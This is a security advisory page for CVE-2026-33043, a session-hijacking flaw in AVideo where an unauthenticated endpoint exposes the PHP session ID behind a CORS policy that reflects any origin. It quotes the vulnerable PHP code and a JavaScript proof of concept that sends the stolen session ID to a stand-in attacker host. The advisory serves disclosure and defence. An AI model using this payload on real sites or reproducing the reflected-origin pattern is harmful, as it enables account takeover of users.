Advisory details:
github_osv / GHSA-qc3p-398r-p59j
| Advisory ID | github_osv/GHSA-qc3p-398r-p59j |
| Aliases |
CVE-2026-33043
|
| Summary | AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS ### Summary `/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover. ### Details **File:** `objects/phpsessionid.json.php` ```php allowOrigin(); $obj = new stdClass(); $obj->phpsessid = session_id(); echo _json_encode($obj); ``` No authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin: ```php $HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN']; header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN); header("Access-Control-Allow-Credentials: true"); ``` This means any external website can make a credentialed cross-origin request and read the session ID. ### PoC An attacker hosts the following page: ```html <script> fetch('https://TARGET/objects/phpsessionid.json.php', { credentials: 'include' }) .then(r => r.json()) .then(d => { // d.phpsessid = victim's session ID document.location = 'https://attacker.com/steal?sid=' + d.phpsessid; }); </script> ``` When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session. ### Impact **Account Takeover** — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.3 |
| Risk | 3.6 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.1 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-qc3p-398r-p59j/GHSA-qc3p-398r-p59j.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| 9f4f51e5df5e3343400f9d0068705f5482b6f930 | Other | https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930 |
| CVE-2026-33043 | https://nvd.nist.gov/vuln/detail/CVE-2026-33043 | |
| GHSA-qc3p-398r-p59j | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-25T13:54:38Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/33xxx/CVE-2026-33043.json
Source Advisory: vulnrichment/CVE-2026-33043
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]